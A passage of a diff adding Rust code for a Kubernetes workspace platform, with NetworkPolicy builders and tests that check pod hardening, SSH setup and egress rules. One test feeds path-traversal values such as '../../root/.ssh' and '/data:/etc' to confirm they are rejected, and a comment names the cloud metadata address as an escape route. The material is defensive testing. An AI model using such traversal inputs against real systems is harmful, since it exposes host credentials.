label. +/// +/// Attaching is an authorization decision made in `/v1` against team membership; this only +/// expresses a decision already taken. Deleting the policy is what detaching means. +pub fn attach_policy( + env_ns: &str, + ws_ns: &str, + ws_id: &str, + owner: &str, + owner_ref: &OwnerReference, +) -> NetworkPolicy { + policy( + &format!("attach-{ws_id}"), + env_ns, + owner, + owner_ref, + NetworkPolicySpec { + pod_selector: Some(LabelSelector::default()), + policy_types: Some(vec!["Ingress".into()]), + ingress: Some(vec![NetworkPolicyIngressRule { + // BOTH selectors in ONE peer, which ANDs them. Two peers would OR, and a bare + // namespace selector would grant every workspace the owner has — because a user's + // workspaces now SHARE a namespace, naming the namespace alone is exactly the + // over-grant this has to avoid. + from: Some(vec![NetworkPolicyPeer { + namespace_selector: Some(LabelSelector { + match_labels: Some(BTreeMap::from([( + "kubernetes.io/metadata.name".to_string(), + ws_ns.to_string(), + )])), + ..Default::default() + }), + pod_selector: Some(LabelSelector { + match_labels: Some(BTreeMap::from([( + WORKSPACE_LABEL.to_string(), + ws_id.to_string(), + )])), + ..Default::default() + }), + ..Default::default() + }]), + ..Default::default() + }]), + ..Default::default() + }, + ) +} + +/// The egress counterpart, in the WORKSPACE's namespace: `default_policies` denies egress except +/// DNS and same-namespace, so an attachment needs a hole punched at both ends. +pub fn attach_egress_policy(ws_ns: &str, env_ns: &str, owner: &str, owner_ref: &OwnerReference) -> NetworkPolicy { + policy( + &format!("attach-{env_ns}"), + ws_ns, + owner, + owner_ref, + NetworkPolicySpec { + pod_selector: Some(LabelSelector::default()), + policy_types: Some(vec!["Egress".into()]), + egress: Some(vec![NetworkPolicyEgressRule { + to: Some(vec![NetworkPolicyPeer { + namespace_selector: Some(LabelSelector { + match_labels: Some(BTreeMap::from([( + "kubernetes.io/metadata.name".to_string(), + env_ns.to_string(), + )])), + ..Default::default() + }), + ..Default::default() + }]), + ..Default::default() + }]), + ..Default::default() + }, + ) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::crd::DesiredState; + use crate::model::Mount; + + fn owner_ref() -> OwnerReference { + OwnerReference { + api_version: "rustic-git.io/v1alpha1".into(), + kind: "Volume".into(), + name: "vol-1".into(), + uid: "uid-1".into(), + controller: Some(true), + block_owner_deletion: Some(true), + } + } + + fn ctx() -> PodContext<'static> { + PodContext { pool: "/mnt/wspool", node_name: "session-0", owner_ref: owner_ref(), runtime_class: Some("gvisor") } + } + + fn svc(folder: &str, path: &str) -> model::Service { + model::Service { + name: "web".into(), + image: "nginx".into(), + command: vec![], + env: Default::default(), + mounts: vec![Mount { folder: folder.into(), path: path.into() }], + ports: vec![80], + } + } + + fn ws_spec() -> WorkspaceSpec { + WorkspaceSpec { + restore: None, + team: String::new(), + owner: "alice".into(), + name: "dev".into(), + region: "centralindia".into(), + image: "nginx:alpine".into(), + storage: Some(crate::crd::WorkspaceStorage { quota_gb: 10, source: None }), + volume_ref: Some("vol-1".into()), + node_name: Some("session-0".into()), + desired_state: DesiredState::Running, + resources: PodResources::default(), + packages: vec![], + } + } + + #[test] + fn the_user_key_secret_carries_authorized_keys() { + let m = crate::api::OwnerMaterial { + authorized_keys: "ssh-ed25519 AAAA alice@laptop".into(), + git_name: "Alice \"Al\" Liddell".into(), + git_email: "alice@example.com".into(), + }; + let s = user_key_secret("alice", "ws-alice", "PRIVATE", &m); + let data = s.string_data.unwrap(); + assert_eq!(data["id_ed25519"], "PRIVATE"); + // sshd inside the workspace reads this file; it is the whole of "who may ssh in". + assert_eq!(data["authorized_keys"], "ssh-ed25519 AAAA alice@laptop"); + // A quote in a name must not end git's string early. + assert_eq!(data["gitconfig"], "[user]\n\tname = \"Alice \\\"Al\\\" Liddell\"\n\temail = \"alice@example.com\"\n"); + } + + #[test] + fn a_service_is_a_statefulset_with_a_stable_template() { + let mut s = svc("data", "/data"); + s.env = [("Z", "1"), ("A", "2"), ("M", "3")].into_iter().map(|(k, v)| (k.to_string(), v.to_string())).collect(); + let d = service_statefulset(&s, "env-1", "team", &ctx()).unwrap(); + let spec = d.spec.unwrap(); + assert_eq!(spec.replicas, Some(1)); + assert_eq!(spec.service_name.as_deref(), Some("web"), "the ClusterIP Service of the same name"); + let names: Vec<_> = spec.template.spec.unwrap().containers[0].env.as_ref().unwrap().iter().map(|e| e.name.clone()).collect(); + assert_eq!(names, ["A", "M", "Z"], "a stable template is what keeps the ReplicaSet from changing under a database"); + } + + #[test] + fn a_service_deployment_refuses_a_mount_that_escapes_the_subvolume() { + let ctx = ctx(); + let ok = service_statefulset(&svc("data", "/data"), "env-1", "team", &ctx).unwrap(); + let mounts = ok.spec.as_ref().unwrap().template.spec.as_ref().unwrap().containers[0] + .volume_mounts + .as_ref() + .unwrap(); + assert_eq!(mounts[0].sub_path.as_deref(), Some("volumes/data")); + assert_eq!(mounts[0].name, "live", "a mount is a subPath of the env's one volume"); + + // The C1 payload: `{"folder": "/", "path": "/host"}`. Kubernetes rejects `..` in a subPath + // itself, but this must not lean on that — the segment is validated before it is formatted. + for bad in ["/", "..", "a/b", "", "../../root/.ssh", "a:b"] { + assert!( + service_statefulset(&svc(bad, "/host"), "env-1", "team", &ctx).is_err(), + "folder {bad:?} must be refused" + ); + } + assert!(service_statefulset(&svc("data", "/data:/etc"), "env-1", "team", &ctx).is_err()); + assert!(service_statefulset(&svc("data", "relative"), "env-1", "team", &ctx).is_err()); + } + + /// Tenants share a node, so they share its kernel. A sandbox runtime puts a userspace kernel + /// between the tenant and the host one — the only thing here that turns a kernel exploit from + /// a host compromise into a sandbox escape. + /// + /// Opt-in: a `runtimeClassName` naming a runtime the node lacks makes every pod fail to start, + /// so a cluster without gVisor installed must keep working. + #[test] + fn tenant_pods_run_under_the_sandbox_when_one_is_configured() { + let ctx = ctx(); // runtime_class: Some("gvisor") + let p = workspace_pod(&ws_spec(), "ws-1", &ctx, None); + assert_eq!(p.spec.unwrap().runtime_class_name.as_deref(), Some("gvisor")); + + let d = service_statefulset(&svc("data", "/data"), "env-1", "team", &ctx).unwrap(); + assert_eq!( + d.spec.unwrap().template.spec.unwrap().runtime_class_name.as_deref(), + Some("gvisor"), + "an environment's services are tenant workloads too" + ); + + // Unset means the host kernel, not a broken pod. + let bare = PodContext { pool: "/mnt/wspool", node_name: "session-0", owner_ref: owner_ref(), runtime_class: None }; + assert!(workspace_pod(&ws_spec(), "ws-1", &bare, None).spec.unwrap().runtime_class_name.is_none()); + } + + #[test] + fn no_pod_this_module_builds_uses_a_hostpath() { + // hostPath is refused by PSA baseline AND restricted, so a single one here would force the + // whole namespace to `privileged` — the regression this module exists to prevent. + let p = workspace_pod(&ws_spec(), "ws-1", &ctx(), None); + for v in p.spec.unwrap().volumes.unwrap() { + assert!(v.host_path.is_none(), "workspace pod must mount a claim, not a hostPath"); + // The key is a Secret; everything else is the workspace's data, which is a claim. + assert!(v.persistent_volume_claim.is_some() || v.secret.is_some()); + } + let d = service_statefulset(&svc("data", "/data"), "env-1", "team", &ctx()).unwrap(); + for v in d.spec.unwrap().template.spec.unwrap().volumes.unwrap() { + assert!(v.host_path.is_none(), "service pod must mount a claim, not a hostPath"); + } + } + + #[test] + fn the_volume_pins_the_node_and_never_deletes_the_data() { + let pv = local_pv(&pv_name("ws-1"), &live_path(ctx().pool, "ws-1"), "ReadWriteOnce", 20, "alice", &ctx()); + let spec = pv.spec.unwrap(); + assert_eq!(spec.local.as_ref().unwrap().path, "/mnt/wspool/vol/ws-1/live"); + // Retain, never Delete: reclaiming a user's subvolume is a deliberate controller action, + // not something the kubelet does when a claim goes away. + assert_eq!(spec.persistent_volume_reclaim_policy.as_deref(), Some("Retain")); + + // The scheduler enforces placement from this, which is why the pod no longer names a node. + let term = &spec.node_affinity.unwrap().required.unwrap().node_selector_terms[0]; + let e = &term.match_expressions.as_ref().unwrap()[0]; + assert_eq!(e.key, "kubernetes.io/hostname"); + assert_eq!(e.values.as_deref(), Some(&["session-0".to_string()][..])); + + let p = workspace_pod(&ws_spec(), "ws-1", &ctx(), None); + assert!( + p.spec.unwrap().node_name.is_none(), + "naming a node here would make placement an assertion again" + ); + } + + #[test] + fn a_claim_binds_to_exactly_one_named_volume() { + let c = claim("ws-alice", &claim_name("ws-1"), &pv_name("ws-1"), "ReadWriteOnce", 20, "alice", &owner_ref()); + assert_eq!(c.metadata.name.as_deref(), Some("live-ws-1"), "siblings share a namespace"); + let s = c.spec.unwrap(); + // Without volumeName the claim binds to whichever PV of this class fits — which, for + // per-workspace storage, means somebody else's data. + assert_eq!(s.volume_name.as_deref(), Some("pv-ws-1")); + assert_eq!(s.storage_class_name.as_deref(), Some(STORAGE_CLASS)); + } + + #[test] + fn a_user_pod_cannot_reach_the_api_server_or_escalate() { + let p = workspace_pod(&ws_spec(), "ws-1", &ctx(), None); + let s = p.spec.unwrap(); + assert_eq!(s.automount_service_account_token, Some(false)); + assert_eq!(s.restart_policy.as_deref(), Some("Always")); + // A key per role, not a shared key with the role as its value: a node can then carry both + // and a single-node install works. + assert_eq!( + s.node_selector.as_ref().unwrap().get("rustic-git.io/session").map(String::as_str), + Some("true") + ); + // The label without the toleration schedules nothing. + assert_eq!(s.tolerations.as_ref().unwrap()[0].key.as_deref(), Some("rustic-git.io/session")); + + let c = &s.containers[0]; + let sc = c.security_context.as_ref().unwrap(); + assert_eq!(sc.allow_privilege_escalation, Some(false)); + // The kernel's default syscall filter. `baseline` does not demand it, so nothing else + // would catch its removal. + assert_eq!(sc.seccomp_profile.as_ref().unwrap().type_, "RuntimeDefault"); + let caps = sc.capabilities.as_ref().unwrap(); + assert_eq!(caps.drop.as_deref(), Some(&["ALL".to_string()][..])); + // Only the init set, and every entry must be one PSA `baseline` permits — an add outside + // that list is rejected by the namespace at admission, which is a pod that never starts. + const BASELINE_ALLOWED: [&str; 13] = [ + "AUDIT_WRITE", "CHOWN", "DAC_OVERRIDE", "FOWNER", "FSETID", "KILL", "MKNOD", + "NET_BIND_SERVICE", "SETFCAP", "SETGID", "SETPCAP", "SETUID", "SYS_CHROOT", + ]; + for c in caps.add.as_deref().unwrap_or_default() { + assert!(BASELINE_ALLOWED.contains(&c.as_str()), "{c} is not allowed under baseline"); + } + + let r = c.resources.as_ref().unwrap(); + assert!(r.requests.as_ref().unwrap().contains_key("memory")); + assert!(r.limits.as_ref().unwrap().contains_key("memory")); + assert!(r.requests.as_ref().unwrap().contains_key("cpu")); + assert!(r.limits.as_ref().unwrap().contains_key("cpu")); + // Without this a tenant can fill the node's disk, taint it `disk-pressure` and stop + // scheduling for every other tenant on it — a node-wide denial of service from one pod. + assert!( + r.limits.as_ref().unwrap().contains_key("ephemeral-storage"), + "an unbounded writable layer is a node-wide DoS" + ); + } + + /// The capacity model prices a node by how many workspaces and services fit on it, and what + /// fits is decided by the REQUEST, not the limit. These numbers are therefore a pricing input, + /// not a tuning knob — drifting them silently changes what a workspace costs. + /// + /// "M session" in the model is a workspace. On a 32-OCPU / 128 GB session node at 94% usable + /// memory: 120 GB ÷ 4 GB = 30 workspaces, needing 30 × 2 = 60 vCPU of the 64 available. + #[test] + fn pod_requests_match_the_capacity_model() { + let r = PodResources::default(); + assert_eq!(r.memory_request, "4Gi", "M workspace guarantee is 4 GB"); + assert_eq!(r.memory_limit, "8Gi", "M workspace limit is 8 GB"); + assert_eq!(r.cpu_request, "2", "2 vCPU guaranteed, and deliberately not oversubscribed"); + assert_eq!(r.cpu_limit, "4"); + + // An environment service: 4 GB limit packed at 1.5x oversubscription. + let d = service_statefulset(&svc("data", "/data"), "env-1", "team", &ctx()).unwrap(); + let res = d.spec.unwrap().template.spec.unwrap().containers[0].resources.clone().unwrap(); + let req = res.requests.unwrap(); + let lim = res.limits.unwrap(); + assert_eq!(lim.get("memory").unwrap().0, "4Gi"); + assert_eq!(req.get("memory").unwrap().0, "2730Mi", "4 GB / 1.5x oversubscription"); + } + + /// The slot has to be enforced by the NAMESPACE, not just by the function that builds pods. + /// A `LimitRange` is applied at admission, so it holds for a pod created by any path — a future + /// code path that forgets, a debug pod, an operator with kubectl. + #[test] + fn the_namespace_refuses_anything_larger_than_its_slot() { + let lr = limit_range("ws-alice", "alice", "workspace", &PodResources::default(), None); + let item = &lr.spec.unwrap().limits[0]; + assert_eq!(item.type_, "Container"); + + // max is the slot's LIMIT: bursting to it is the point, exceeding it is refused. + let max = item.max.as_ref().unwrap(); + assert_eq!(max.get("memory").unwrap().0, "8Gi"); + assert_eq!(max.get("cpu").unwrap().0, "4"); + + // defaultRequest is what capacity is priced on, for anything that names no request. + let dr = item.default_request.as_ref().unwrap(); + assert_eq!(dr.get("memory").unwrap().0, "4Gi"); + assert_eq!(dr.get("cpu").unwrap().0, "2"); + + // Shared user namespace: no ownerReference, or deleting one workspace drops the ceiling + // for every sibling. + assert!(lr.metadata.owner_references.is_none()); + + // The environment ceiling matches the unit the Deployment actually requests. + let env = limit_range("env-1", "team", "environment", &env_unit_resources(), Some(&owner_ref())); + let env_item = &env.spec.unwrap().limits[0]; + assert_eq!(env_item.max.as_ref().unwrap().get("memory").unwrap().0, "4Gi"); + assert_eq!(env_item.default_request.as_ref().unwrap().get("memory").unwrap().0, "2730Mi"); + } + + /// The API's Secret access must be namespaced, never cluster-wide: a cluster-wide grant would + /// include every Secret in the cluster, the agent's own credentials among them. + #[test] + fn the_api_secret_grant_is_scoped_to_one_namespace() { + let rb = api_secret_binding("ws-alice", "alice", "rustic-git-api", "kube-system", None); + assert_eq!(rb.metadata.namespace.as_deref(), Some("ws-alice"), "a RoleBinding, not a ClusterRoleBinding"); + assert_eq!(rb.role_ref.name, "rustic-git-api-secrets"); + assert_eq!(rb.role_ref.kind, "ClusterRole", "the rules are shared; only the scope is per namespace"); + let sub = &rb.subjects.unwrap()[0]; + assert_eq!(sub.name, "rustic-git-api"); + assert_eq!(sub.namespace.as_deref(), Some("kube-system")); + // Shared user namespace: deleting one workspace must not revoke the grant for its siblings. + assert!(rb.metadata.owner_references.is_none()); + // The OwnerBinding, and only it, may own the grant: it has the same (owner, node) lifetime. + let ob = OwnerReference { kind: "OwnerBinding".into(), name: "r1-alice".into(), ..Default::default() }; + let owned = api_secret_binding("ws-alice", "alice", "rustic-git-api", "kube-system", Some(&ob)); + assert_eq!(owned.metadata.owner_references.unwrap()[0].kind, "OwnerBinding"); + } + + /// Three things have to line up for git in a workspace to authenticate, and each fails + /// silently on its own: the mount, the 0400 mode ssh insists on, and the env var that tells + /// git which key to use. + #[test] + fn a_workspace_pod_carries_the_owners_platform_key() { + let spec = workspace_pod(&ws_spec(), "ws-1", &ctx(), None).spec.unwrap(); + let v = spec.volumes.unwrap().into_iter().find(|v| v.name == "user-key").expect("volume"); + let sv = v.secret.unwrap(); + assert_eq!(sv.secret_name.as_deref(), Some(USER_KEY_SECRET)); + assert_eq!(sv.default_mode, Some(0o444), "git runs as kl and the file is root's"); + // The API writes it after the controller makes the namespace, so it can be late. + assert_eq!(sv.optional, Some(true)); + let c = &spec.containers[0]; + assert!(c + .volume_mounts + .as_ref() + .unwrap() + .iter() + .any(|m| m.name == "user-key" && m.mount_path == USER_KEY_PATH)); + let env = c.env.as_ref().unwrap().iter().find(|e| e.name == "GIT_SSH_COMMAND").unwrap(); + assert!(env.value.as_ref().unwrap().contains(USER_KEY_PATH)); + } + + /// A private image has to be pullable in the namespace the pod runs in. The kubelet ignores a + /// named pull secret that does not exist, so referencing it unconditionally costs nothing for a + /// public image and means a namespace given a credential just works. + #[test] + fn tenant_pods_reference_the_namespace_pull_secret() { + let p = workspace_pod(&ws_spec(), "ws-1", &ctx(), None); + let refs = p.spec.unwrap().image_pull_secrets.unwrap(); + assert_eq!(refs[0].name, PULL_SECRET); + + let d = service_statefulset(&svc("data", "/data"), "env-1", "team", &ctx()).unwrap(); + let refs = d.spec.unwrap().template.spec.unwrap().image_pull_secrets.unwrap(); + assert_eq!(refs[0].name, PULL_SECRET, "an env's services are where private images show up"); + } + + #[test] + fn a_namespace_enforces_baseline_and_audits_restricted() { + let ns = namespace("ws-alice", "alice", "workspace", None); + let l = ns.metadata.labels.unwrap(); + // baseline blocks hostPath, privileged, hostNetwork/PID/IPC and dangerous capabilities — + // the actual escape vectors — while leaving root inside the container, which the default + // image and every common database image need. + assert_eq!(l.get("pod-security.kubernetes.io/enforce").map(String::as_str), Some("baseline")); + assert_eq!(l.get("pod-security.kubernetes.io/audit").map(String::as_str), Some("restricted")); + } + + #[test] + fn a_workspace_pod_mounts_the_store_and_only_its_own_profile_read_only() { + let p = workspace_pod(&ws_spec(), "ws-1", &ctx(), None); + let c = &p.spec.as_ref().unwrap().containers[0]; + let mounts = c.volume_mounts.as_ref().unwrap(); + let store = mounts.iter().find(|m| m.mount_path == "/nix/store").expect("store mount"); + assert_eq!(store.read_only, Some(true)); + assert_eq!(store.sub_path.as_deref(), Some("store")); + assert_eq!(store.name, "nix"); + let prof = mounts.iter().find(|m| m.mount_path == "/nix/profile").expect("profile mount"); + assert_eq!(prof.read_only, Some(true)); + assert_eq!(prof.sub_path.as_deref(), Some("var/rustic/profiles/ws-1")); + assert!(!mounts.iter().any(|m| m.mount_path == "/nix"), "never the whole store tree: other profiles and the daemon socket live there"); + let env = c.env.as_ref().unwrap(); + let get = |k: &str| env.iter().find(|e| e.name == k).and_then(|e| e.value.clone()).unwrap(); + // The MOUNT is the directory; every env points at the `current` link inside it, because a + // subPath is resolved once at container start and a swapped link under it never lands. + assert!(get("PATH").starts_with("/nix/profile/current/bin:")); + assert_eq!(get("NIX_PROFILE"), "/nix/profile/current"); + assert_eq!(get("MANPATH"), "/nix/profile/current/share/man:"); + assert!(get("XDG_DATA_DIRS").starts_with("/nix/profile/current/share:")); + let vols = p.spec.as_ref().unwrap().volumes.as_ref().unwrap(); + let nix = vols.iter().find(|v| v.name == "nix").unwrap(); + assert_eq!(nix.persistent_volume_claim.as_ref().unwrap().claim_name, "nix-ws-1"); + assert_eq!(nix.persistent_volume_claim.as_ref().unwrap().read_only, Some(true)); + assert!(vols.iter().all(|v| v.host_path.is_none()), "workspace pod must mount a claim, not a hostPath"); + } + + #[test] + fn the_nix_pv_is_read_only_and_pinned_to_the_node() { + let pv = local_pv(&nix_pv_name("ws-1"), NIX_ROOT, "ReadOnlyMany", 1, "acme", &ctx()); + let spec = pv.spec.unwrap(); + assert_eq!(spec.local.as_ref().unwrap().path, "/nix"); + assert_eq!(spec.access_modes.as_deref(), Some(&["ReadOnlyMany".to_string()][..])); + assert_eq!(spec.persistent_volume_reclaim_policy.as_deref(), Some("Retain")); + let term = &spec.node_affinity.unwrap().required.unwrap().node_selector_terms[0]; + assert_eq!(term.match_expressions.as_ref().unwrap()[0].values.as_ref().unwrap()[0], ctx().node_name); + let c = claim("ws-acme", &nix_claim_name("ws-1"), &nix_pv_name("ws-1"), "ReadOnlyMany", 1, "acme", &owner_ref()); + let cs = c.spec.unwrap(); + assert_eq!(cs.volume_name.as_deref(), Some("nix-ws-1")); + assert_eq!(cs.access_modes.as_deref(), Some(&["ReadOnlyMany".to_string()][..])); + } + + #[test] + fn a_workspace_pod_mounts_its_volume_at_workspace_and_only_there() { + let p = workspace_pod(&ws_spec(), "ws-1", &ctx(), None); + let s = p.spec.unwrap(); + let claims = s.volumes.as_ref().unwrap().iter().filter(|v| v.name == "live" && v.persistent_volume_claim.is_some()); + assert_eq!(claims.count(), 1); + let mounts = s.containers[0].volume_mounts.as_ref().unwrap(); + assert_eq!(mounts.iter().filter(|m| m.name == "live").count(), 1, "the nginx web-root mount is gone with nginx"); + assert!(mounts.iter().any(|m| m.mount_path == "/home/kl/workspace" && m.read_only.is_none())); + } + + /// Four things have to line up for `ssh kl@workspace` to work, and each fails silently on + /// its own: sshd as the container's process, its host key, the owner's authorized_keys where + /// the config says to look, and the modes sshd refuses to start (or to authenticate) without. + #[test] + fn the_default_image_runs_sshd_with_its_own_host_key_and_the_owners_keys() { + let mut spec = ws_spec(); + spec.image = crate::model::DEFAULT_WS_IMAGE.into(); + let s = workspace_pod(&spec, "ws-1", &ctx(), None).spec.unwrap(); + let c = &s.containers[0]; + let cmd = c.command.as_ref().unwrap(); + assert_eq!(cmd[0], "/bin/sh"); + assert!( + cmd[2].trim_end().ends_with(&format!("exec {}/bin/sshd -D -e -f {SSHD_DIR}/sshd_config", crate::packages::PROFILE_LINK)), + "{}", + cmd[2] + ); + // sshd exits on a missing privsep directory or a missing `sshd` user, and stock alpine has + // neither. + assert!(cmd[2].contains("mkdir -p /var/empty") && cmd[2].contains("adduser"), "{}", cmd[2]); + assert_eq!(c.ports.as_ref().unwrap()[0].container_port, 22); + + let vols = s.volumes.as_ref().unwrap(); + let host = vols.iter().find(|v| v.name == "ws-ssh").expect("host key volume").secret.clone().unwrap(); + assert_eq!(host.secret_name.as_deref(), Some("ws-ssh-ws-1")); + // sshd refuses a host key that is group- or world-readable and exits; the config it reads + // is not a secret and stays readable. + assert_eq!(host.default_mode, Some(0o400)); + let config_item = host.items.as_ref().unwrap().iter().find(|i| i.key == "sshd_config").expect("config item"); + assert_eq!(config_item.mode, Some(0o444)); + + let keys = vols.iter().find(|v| v.name == "authorized-keys").expect("authorized_keys volume").secret.clone().unwrap(); + assert_eq!(keys.secret_name.as_deref(), Some(USER_KEY_SECRET), "the same Secret the API already rewrites"); + let items = keys.items.as_ref().unwrap(); + assert_eq!(items.len(), 1, "only the public half: the private git key must not land in /home/kl/.ssh"); + assert_eq!(items[0].key, "authorized_keys"); + // Root's file (the kubelet writes it), read by sshd AS kl: 0600 would be "Permission + // denied" on every login. StrictModes is off, so sshd does not mind the width. + assert_eq!(items[0].mode, Some(0o444)); + assert_eq!(keys.optional, Some(true), "an owner who has registered no key still gets a pod"); + + let mounts = c.volume_mounts.as_ref().unwrap(); + let ssh = mounts.iter().find(|m| m.name == "ws-ssh").unwrap(); + assert_eq!(ssh.mount_path, SSHD_DIR); + assert_eq!(ssh.read_only, Some(true)); + let ak = mounts.iter().find(|m| m.name == "authorized-keys").unwrap(); + // The DIRECTORY, not a subPath of the file: a subPath of an optional Secret wedges the pod + // in ContainerCreating, and never picks up a key added later. + assert_eq!(ak.mount_path, SSH_HOME); + assert_eq!(ak.sub_path, None); + assert_eq!(ak.read_only, Some(true)); + // Where sshd is told to look has to be where the mount actually puts it. + assert!(sshd_config().contains(&format!("AuthorizedKeysFile {SSH_HOME}/authorized_keys"))); + // The Secret mount's tmpfs is 1777; without this every registered key is refused. + assert!(sshd_config().contains("StrictModes no\n")); + // The account sshd lets in: fixed uid, unlocked, owning the volume; and the key it reads. + let prelude = &cmd[2]; + assert!(prelude.contains("adduser -D -u 1000 -s /nix/profile/current/bin/zsh kl"), "{prelude}"); + assert!(prelude.contains("sed -i 's/^kl:!:/kl:*:/' /etc/shadow"), "{prelude}"); + assert!(prelude.contains("chown -R 1000:1000 /home/kl/workspace"), "{prelude}"); + // Never `-R` over the home: `.ssh` is a read-only mount, and under `set -e` one EROFS + // from chown is a pod that never starts. + assert!(!prelude.contains("-R 1000:1000 $H"), "{prelude}"); + // The prompt and the profile's PATH, for both shells; the greeting replaces alpine's. + assert!(prelude.contains("starship init zsh"), "{prelude}"); + assert!(prelude.contains("starship init fish | source"), "{prelude}"); + assert!(prelude.contains("cat > /etc/motd"), "{prelude}"); + assert!(prelude.contains("Kloudlite workspace"), "{prelude}"); + // It is a shell script assembled from string pieces; the one check that catches a broken + // heredoc or an unbalanced quote before a pod does. + let ok = std::process::Command::new("sh").arg("-n").arg("-c").arg(prelude).status().map(|s| s.success()); + assert_eq!(ok.ok(), Some(true), "prelude does not parse:\n{prelude}"); + // Non-interactive logins (`ssh ws cmd`, sftp, editors' remote helpers) read no rc file, + // so the profile's PATH has to come from sshd itself. + let cfg = sshd_config(); + // Exactly one SetEnv line, carrying every variable: sshd ignores a second one. + assert_eq!(cfg.matches("SetEnv ").count(), 1, "{cfg}"); + let line = cfg.lines().find(|l| l.starts_with("SetEnv ")).unwrap(); + assert!(line.contains("\"PATH=/nix/profile/current/bin:"), "{line}"); + assert!(line.contains("\"GIT_SSH_COMMAND=ssh -i /etc/rustic-git/ssh/id_ed25519 "), "{line}"); + assert!(line.contains("\"GIT_CONFIG_SYSTEM=/etc/rustic-git/ssh/gitconfig\""), "{line}"); + // ...and the pod entrypoint sees the identical list. + let names: Vec<&str> = c.env.as_ref().unwrap().iter().map(|e| e.name.as_str()).collect(); + assert!(names.contains(&"GIT_CONFIG_SYSTEM") && names.contains(&"PATH") && names.contains(&"GIT_SSH_COMMAND"), "{names:?}"); + assert_eq!(s.hostname.as_deref(), Some("ws")); + // No fsGroup: it would re-mode the host key Secret too, and sshd refuses a host key + // anyone but its owner can read. + assert!(s.security_context.as_ref().and_then(|s| s.fs_group).is_none()); + // The existing git mount must stay where GIT_SSH_COMMAND points. + assert!(mounts.iter().any(|m| m.name == "user-key" && m.mount_path == USER_KEY_PATH)); + // hostPath is refused by the namespace's `baseline` admission — nothing here may grow one. + assert!(vols.iter().all(|v| v.host_path.is_none())); + } + + #[test] + fn a_custom_image_keeps_its_entrypoint_and_gets_no_sshd() { + let mut spec = ws_spec(); + spec.image = "ghcr.io/acme/dev:1".into(); + let s = workspace_pod(&spec, "ws-1", &ctx(), None).spec.unwrap(); + assert!(s.containers[0].command.is_none(), "a user image keeps its entrypoint"); + assert!(s.containers[0].ports.is_none()); + assert!(s.volumes.as_ref().unwrap().iter().all(|v| v.name != "ws-ssh" && v.name != "authorized-keys")); + } + + /// The host key Secret is per workspace and dies with it — a clone gets its own. + #[test] + fn a_workspaces_host_key_lives_and_dies_with_it() { + let s = ws_ssh_secret("ws-1", "ws-alice", "alice", &owner_ref(), "PRIVATE", "ssh-ed25519 AAAA ws"); + assert_eq!(s.metadata.name.as_deref(), Some("ws-ssh-ws-1")); + assert_eq!(s.metadata.namespace.as_deref(), Some("ws-alice")); + assert_eq!(s.metadata.owner_references.unwrap()[0].controller, Some(true)); + let d = s.string_data.unwrap(); + assert_eq!(d["ssh_host_ed25519_key"], "PRIVATE"); + assert_eq!(d["ssh_host_ed25519_key.pub"], "ssh-ed25519 AAAA ws"); + // The config names the key and the keys file by absolute path, and turns passwords off: + // the container runs as root, and the login is `kl` — never root. + let cfg = &d["sshd_config"]; + assert!(cfg.contains(&format!("HostKey {SSHD_DIR}/ssh_host_ed25519_key")), "{cfg}"); + assert!(cfg.contains("AuthorizedKeysFile /home/kl/.ssh/authorized_keys"), "{cfg}"); + assert!(cfg.contains("PermitRootLogin no\n"), "{cfg}"); + assert!(cfg.contains("AllowUsers kl\n"), "{cfg}"); + assert!(cfg.contains("PasswordAuthentication no"), "{cfg}"); + } + + /// Port 22 is open to exactly one peer. Without the namespace half every tenant's own pods + /// could label themselves `app=rustic-git-gateway` and reach each other's sshd. + #[test] + fn only_the_gateway_may_reach_port_22() { + let p = allow_gateway_ingress("ws-alice", "alice", &owner_ref()); + assert_eq!(p.metadata.name.as_deref(), Some("allow-gateway-ssh")); + let spec = p.spec.unwrap(); + assert_eq!(spec.policy_types.as_ref().unwrap(), &vec!["Ingress".to_string()], "never an egress hole"); + let rule = &spec.ingress.as_ref().unwrap()[0]; + assert_eq!(rule.ports.as_ref().unwrap()[0].port, Some(IntOrString::Int(22))); + let from = rule.from.as_ref().unwrap(); + assert_eq!(from.len(), 1, "one peer: namespace AND pod, not namespace OR pod"); + let ns = from[0].namespace_selector.as_ref().unwrap().match_labels.as_ref().unwrap(); + assert_eq!(ns["kubernetes.io/metadata.name"], "kube-system"); + let pod = from[0].pod_selector.as_ref().unwrap().match_labels.as_ref().unwrap(); + assert_eq!(pod["app"], "rustic-git-gateway"); + } + + #[test] + fn every_child_object_cascades_on_delete() { + // Reclamation via garbage collection rather than cleanup code that can be skipped or crash + // halfway. If this regresses, deleting a workspace leaks its pod, namespace and PV. + let p = workspace_pod(&ws_spec(), "ws-1", &ctx(), None); + assert_eq!(p.metadata.owner_references.unwrap()[0].controller, Some(true)); + let pv = local_pv(&pv_name("ws-1"), &live_path(ctx().pool, "ws-1"), "ReadWriteOnce", 20, "alice", &ctx()); + assert_eq!(pv.metadata.owner_references.unwrap().len(), 1); + assert_eq!(namespace("env-1", "team", "environment", Some(&owner_ref())).metadata.owner_references.unwrap().len(), 1); + for pol in default_policies("env-1", "team", &owner_ref()) { + assert_eq!(pol.metadata.owner_references.unwrap().len(), 1); + } + + // The shared user namespace must NOT cascade: it outlives any one workspace, and an owner + // reference here would delete every sibling when one workspace goes. + let shared = namespace("ws-alice", "alice", "workspace", None); + assert!( + shared.metadata.owner_references.is_none(), + "a user's workspace namespace is shared infrastructure and must not be garbage-collected" + ); + } + + #[test] + fn an_environment_namespace_denies_by_default_and_still_resolves_dns() { + let pols = default_policies("env-1", "team", &owner_ref()); + let names: Vec<_> = pols.iter().filter_map(|p| p.metadata.name.as_deref()).collect(); + assert_eq!(names, vec!["default-deny", "allow-dns", "allow-internet-egress", "allow-same-namespace"]); + + let deny = pols[0].spec.as_ref().unwrap(); + assert_eq!(deny.policy_types.as_ref().unwrap().len(), 2, "deny must cover BOTH directions"); + assert!(deny.ingress.is_none() && deny.egress.is_none(), "a rule here would stop it denying"); + + let dns = pols[1].spec.as_ref().unwrap().egress.as_ref().unwrap(); + assert!(dns[0].ports.as_ref().unwrap().iter().any(|p| p.port == Some(IntOrString::Int(53)))); + } + + /// A workspace has to reach npm and GitHub, but "allow egress" written the obvious way + /// (`0.0.0.0/0`) also opens `169.254.169.254` — the cloud metadata service, which on Azure + /// hands out the NODE's managed identity. That is an escape from the cluster, not the + /// namespace, so the internet rule must be an allow-list with holes punched out. + #[test] + fn internet_egress_never_reaches_the_metadata_service_or_the_cluster() { + let pols = default_policies("ws-alice", "alice", &owner_ref()); + let net = pols.iter().find(|p| p.metadata.name.as_deref() == 